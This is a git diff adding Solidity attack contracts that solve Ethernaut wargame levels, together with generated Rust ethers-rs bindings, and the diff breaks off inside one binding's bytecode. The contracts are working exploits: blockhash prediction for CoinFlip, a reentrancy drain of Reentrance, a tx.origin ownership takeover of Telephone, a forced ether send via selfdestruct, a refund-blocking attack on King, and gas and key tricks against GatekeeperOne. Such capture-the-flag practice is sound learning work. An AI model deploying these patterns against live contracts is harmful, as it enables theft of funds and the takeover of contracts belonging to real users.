diff --git a/attack/contracts/ethernaut/CoinFlipExploit.sol b/attack/contracts/ethernaut/CoinFlipExploit.sol new file mode 100644 index 0000000..dd2d40f --- /dev/null +++ b/attack/contracts/ethernaut/CoinFlipExploit.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface CoinFlip { + function flip(bool _guess) external returns (bool); +} + +contract CoinFlipExploit { + uint256 public consecutiveWins; + uint256 lastHash; + uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; + CoinFlip target; + + constructor(address _coinFlip) { + target = CoinFlip(_coinFlip); + } + + function flip() public { + uint256 blockValue = uint256(blockhash(block.number - 1)); + + if (lastHash == blockValue) { + revert(); + } + + lastHash = blockValue; + uint256 coinFlip = blockValue / FACTOR; + bool side = coinFlip == 1 ? true : false; + + bool result = target.flip(side); + + require(result); + } +} diff --git a/attack/contracts/ethernaut/Donatexploit.sol b/attack/contracts/ethernaut/Donatexploit.sol new file mode 100644 index 0000000..4b0cfea --- /dev/null +++ b/attack/contracts/ethernaut/Donatexploit.sol @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.12; + +interface Reentrance { + function balances(address) external view returns (uint256); + function donate(address _to) external payable; + function balanceOf(address _who) external view returns (uint256 balance); + function withdraw(uint256 _amount) external; +} + +contract Donatexploit { + address payable public owner; + address public target; + + bool private _reenter = true; + uint256 private _amount; + + constructor(address _target) public { + owner = payable(msg.sender); + target = _target; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function attack() public payable onlyOwner { + Reentrance reentr = Reentrance(payable(target)); + reentr.donate{value: msg.value}(address(this)); + _amount = reentr.balanceOf(address(this)); + reentr.withdraw(_amount); + } + + function withdraw() public onlyOwner { + owner.transfer(address(this).balance); + } + + receive() external payable { + (bool _,) = target.call(abi.encodeWithSignature("withdraw(uint256)", _amount)); + } +} diff --git a/attack/contracts/ethernaut/ElevatorExploit.sol b/attack/contracts/ethernaut/ElevatorExploit.sol new file mode 100644 index 0000000..f902979 --- /dev/null +++ b/attack/contracts/ethernaut/ElevatorExploit.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface Building { + function isLastFloor(uint256) external returns (bool); +} + +interface Elevator { + function top() external returns (bool); + function floor() external returns (uint256); + function goTo(uint256 _floor) external; +} + +contract ElevatorExploit is Building { + bool private _last = true; + + function attack(address _target) public { + Elevator _elevator = Elevator(payable(_target)); + _elevator.goTo(0); + require(_elevator.top(), "Didn't get to the top"); + } + + function isLastFloor(uint256) external returns (bool) { + _last = !_last; + return _last; + } +} diff --git a/attack/contracts/ethernaut/ForceExploit.sol b/attack/contracts/ethernaut/ForceExploit.sol new file mode 100644 index 0000000..21095e6 --- /dev/null +++ b/attack/contracts/ethernaut/ForceExploit.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract ForceExploit { + address private owner; + + constructor() payable { + require(msg.value > 0); + owner = msg.sender; + } + + function hack(address _target) public { + require(msg.sender == owner && address(this).balance > 0); + selfdestruct(payable(_target)); + } +} diff --git a/attack/contracts/ethernaut/Gatexploit.sol b/attack/contracts/ethernaut/Gatexploit.sol new file mode 100644 index 0000000..2c36e69 --- /dev/null +++ b/attack/contracts/ethernaut/Gatexploit.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface GatekeeperOne { + function entrant() external view returns (address); + function enter(bytes8 _gateKey) external returns (bool); +} + +contract Gatexploit { + function attack(address _target) public { + GatekeeperOne gatekeeper = GatekeeperOne(payable(_target)); + gatekeeper.enter{gas: (3 * 8191) + 268}(0x0000972000009720); + } +} diff --git a/attack/contracts/ethernaut/KingExploit.sol b/attack/contracts/ethernaut/KingExploit.sol new file mode 100644 index 0000000..724d8a5 --- /dev/null +++ b/attack/contracts/ethernaut/KingExploit.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface King { + function prize() external view returns (uint256); + function owner() external view returns (address); + function _king() external view returns (address); +} + +contract KingExploit { + address payable owner; + King king; + + constructor(address _king) payable { + owner = payable(msg.sender); + king = King(payable(_king)); + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function becomeKing() public onlyOwner { + uint256 prize = king.prize(); + (bool success,) = address(king).call{value: prize}(""); + require(success); + } + + receive() external payable { + owner.transfer(address(this).balance + 1); + } +} diff --git a/attack/contracts/ethernaut/TelephoneExploit.sol b/attack/contracts/ethernaut/TelephoneExploit.sol new file mode 100644 index 0000000..3e29e90 --- /dev/null +++ b/attack/contracts/ethernaut/TelephoneExploit.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface Telephone { + function owner() external view returns (address); + function changeOwner(address _owner) external; +} + +contract TelephoneExploit { + constructor(address _telephone) { + Telephone telephone = Telephone(_telephone); + address offender = address(0xa0Ee7A142d267C1f36714E4a8F75612F20a79720); + telephone.changeOwner(offender); + require(telephone.owner() == offender); + } +} diff --git a/attack/src/abi/building.rs b/attack/src/abi/building.rs new file mode 100644 index 0000000..fc3e131 --- /dev/null +++ b/attack/src/abi/building.rs @@ -0,0 +1,137 @@ +pub use building::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod building { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("isLastFloor"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("isLastFloor"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static BUILDING_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct Building(::ethers::contract::Contract); + impl ::core::clone::Clone for Building { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for Building { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for Building { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for Building { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Building)).field(&self.address()).finish() + } + } + impl Building { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + BUILDING_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `isLastFloor` (0x5f9a4bca) function + pub fn is_last_floor( + &self, + p0: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([95, 154, 75, 202], p0) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for Building { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `isLastFloor` function with signature `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")] + pub struct IsLastFloorCall(pub ::ethers::core::types::U256); + ///Container type for all return fields from the `isLastFloor` function with signature `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct IsLastFloorReturn(pub bool); +} diff --git a/attack/src/abi/coin_flip.rs b/attack/src/abi/coin_flip.rs new file mode 100644 index 0000000..590d277 --- /dev/null +++ b/attack/src/abi/coin_flip.rs @@ -0,0 +1,137 @@ +pub use coin_flip::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod coin_flip { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("flip"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("flip"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_guess"), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static COINFLIP_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct CoinFlip(::ethers::contract::Contract); + impl ::core::clone::Clone for CoinFlip { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for CoinFlip { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for CoinFlip { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for CoinFlip { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(CoinFlip)).field(&self.address()).finish() + } + } + impl CoinFlip { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + COINFLIP_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `flip` (0x1d263f67) function + pub fn flip( + &self, + guess: bool, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([29, 38, 63, 103], guess) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for CoinFlip { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `flip` function with signature `flip(bool)` and selector `0x1d263f67` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "flip", abi = "flip(bool)")] + pub struct FlipCall { + pub guess: bool, + } + ///Container type for all return fields from the `flip` function with signature `flip(bool)` and selector `0x1d263f67` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct FlipReturn(pub bool); +} diff --git a/attack/src/abi/coin_flip_exploit.rs b/attack/src/abi/coin_flip_exploit.rs new file mode 100644 index 0000000..0c535ac --- /dev/null +++ b/attack/src/abi/coin_flip_exploit.rs @@ -0,0 +1,272 @@ +pub use coin_flip_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod coin_flip_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_coinFlip"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + }), + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("consecutiveWins"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("consecutiveWins"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("flip"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("flip"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static COINFLIPEXPLOIT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\x01`\xFF\x1B`\x02U4\x80\x15a\0\x18W`\0\x80\xFD[P`@Qa\x02w8\x03\x80a\x02w\x839\x81\x01`@\x81\x90Ra\x007\x91a\0\\V[`\x03\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x8CV[`\0` \x82\x84\x03\x12\x15a\0nW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x85W`\0\x80\xFD[\x93\x92PPPV[a\x01\xDC\x80a\0\x9B`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\xCD\xE4\xEF\xA9\x14a\0;W\x80c\xE6\xF34\xD7\x14a\0EW[`\0\x80\xFD[a\0Ca\0`V[\0[a\0N`\0T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0a\0m`\x01Ca\x014V[@`\0\x1C\x90P\x80`\x01T\x03a\0\x81W`\0\x80\xFD[`\x01\x81\x90U`\x02T`\0\x90a\0\x96\x90\x83a\x01[V[\x90P`\0\x81`\x01\x14a\0\xA9W`\0a\0\xACV[`\x01[`\x03T`@Qc\x1D&?g`\xE0\x1B\x81R\x82\x15\x15`\x04\x82\x01R\x91\x92P`\0\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\x1D&?g\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\0\xFEW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\"\x91\x90a\x01}V[\x90P\x80a\x01.W`\0\x80\xFD[PPPPV[\x81\x81\x03\x81\x81\x11\x15a\x01UWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0\x82a\x01xWcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0` \x82\x84\x03\x12\x15a\x01\x8FW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x01\x9FW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 4&\x93\xCEs\x06\xBA\x8F\xEE~T\x8D75\xB6\x0E\x9E\x04\xE4\xC7\x85=e5j\xAC\x8F_\xC3\xB3%`dsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static COINFLIPEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\xCD\xE4\xEF\xA9\x14a\0;W\x80c\xE6\xF34\xD7\x14a\0EW[`\0\x80\xFD[a\0Ca\0`V[\0[a\0N`\0T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0a\0m`\x01Ca\x014V[@`\0\x1C\x90P\x80`\x01T\x03a\0\x81W`\0\x80\xFD[`\x01\x81\x90U`\x02T`\0\x90a\0\x96\x90\x83a\x01[V[\x90P`\0\x81`\x01\x14a\0\xA9W`\0a\0\xACV[`\x01[`\x03T`@Qc\x1D&?g`\xE0\x1B\x81R\x82\x15\x15`\x04\x82\x01R\x91\x92P`\0\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\x1D&?g\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\0\xFEW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\"\x91\x90a\x01}V[\x90P\x80a\x01.W`\0\x80\xFD[PPPPV[\x81\x81\x03\x81\x81\x11\x15a\x01UWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0\x82a\x01xWcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[`\0` \x82\x84\x03\x12\x15a\x01\x8FW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x01\x9FW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 4&\x93\xCEs\x06\xBA\x8F\xEE~T\x8D75\xB6\x0E\x9E\x04\xE4\xC7\x85=e5j\xAC\x8F_\xC3\xB3%`dsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static COINFLIPEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct CoinFlipExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for CoinFlipExploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for CoinFlipExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for CoinFlipExploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for CoinFlipExploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(CoinFlipExploit)) + .field(&self.address()) + .finish() + } + } + impl CoinFlipExploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + COINFLIPEXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + COINFLIPEXPLOIT_ABI.clone(), + COINFLIPEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `consecutiveWins` (0xe6f334d7) function + pub fn consecutive_wins( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([230, 243, 52, 215], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `flip` (0xcde4efa9) function + pub fn flip(&self) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([205, 228, 239, 169], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for CoinFlipExploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `consecutiveWins` function with signature `consecutiveWins()` and selector `0xe6f334d7` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "consecutiveWins", abi = "consecutiveWins()")] + pub struct ConsecutiveWinsCall; + ///Container type for all input parameters for the `flip` function with signature `flip()` and selector `0xcde4efa9` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "flip", abi = "flip()")] + pub struct FlipCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum CoinFlipExploitCalls { + ConsecutiveWins(ConsecutiveWinsCall), + Flip(FlipCall), + } + impl ::ethers::core::abi::AbiDecode for CoinFlipExploitCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::ConsecutiveWins(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Flip(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for CoinFlipExploitCalls { + fn encode(self) -> Vec { + match self { + Self::ConsecutiveWins(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Flip(element) => ::ethers::core::abi::AbiEncode::encode(element), + } + } + } + impl ::core::fmt::Display for CoinFlipExploitCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::ConsecutiveWins(element) => ::core::fmt::Display::fmt(element, f), + Self::Flip(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for CoinFlipExploitCalls { + fn from(value: ConsecutiveWinsCall) -> Self { + Self::ConsecutiveWins(value) + } + } + impl ::core::convert::From for CoinFlipExploitCalls { + fn from(value: FlipCall) -> Self { + Self::Flip(value) + } + } + ///Container type for all return fields from the `consecutiveWins` function with signature `consecutiveWins()` and selector `0xe6f334d7` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct ConsecutiveWinsReturn(pub ::ethers::core::types::U256); +} diff --git a/attack/src/abi/donatexploit.rs b/attack/src/abi/donatexploit.rs new file mode 100644 index 0000000..ce50872 --- /dev/null +++ b/attack/src/abi/donatexploit.rs @@ -0,0 +1,384 @@ +pub use donatexploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod donatexploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + }), + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("attack"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("attack"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("owner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("owner"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address payable"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("target"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("target"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("withdraw"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("withdraw"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: true, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static DONATEXPLOIT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U4\x80\x15a\0#W`\0\x80\xFD[P`@Qa\x04\x158\x03\x80a\x04\x15\x839\x81\x81\x01`@R` \x81\x10\x15a\0FW`\0\x80\xFD[PQ`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x90\x81\x163\x17\x90\x91U`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x90\x93\x16\x92\x90\x91\x16\x91\x90\x91\x17\x90Ua\x03\x90\x80a\0\x85`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0CW`\x005`\xE0\x1C\x80c<\xCF\xD6\x0B\x14a\x01-W\x80c\x8D\xA5\xCB[\x14a\x01DW\x80c\x9E_\xAA\xFC\x14a\x01uW\x80c\xD4\xB89\x92\x14a\x01}Wa\x01(V[6a\x01(W`\x01T`\x02T`@\x80Q`$\x80\x82\x01\x93\x90\x93R\x81Q\x80\x82\x03\x90\x93\x01\x83R`D\x01\x81R` \x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16c.\x1A}M`\xE0\x1B\x17\x81R\x90Q\x82Q`\0\x94`\x01`\x01`\xA0\x1B\x03\x16\x93\x92\x82\x91\x80\x83\x83[` \x83\x10a\0\xBBW\x80Q\x82R`\x1F\x19\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\0\x9CV[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x01\x1DW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` 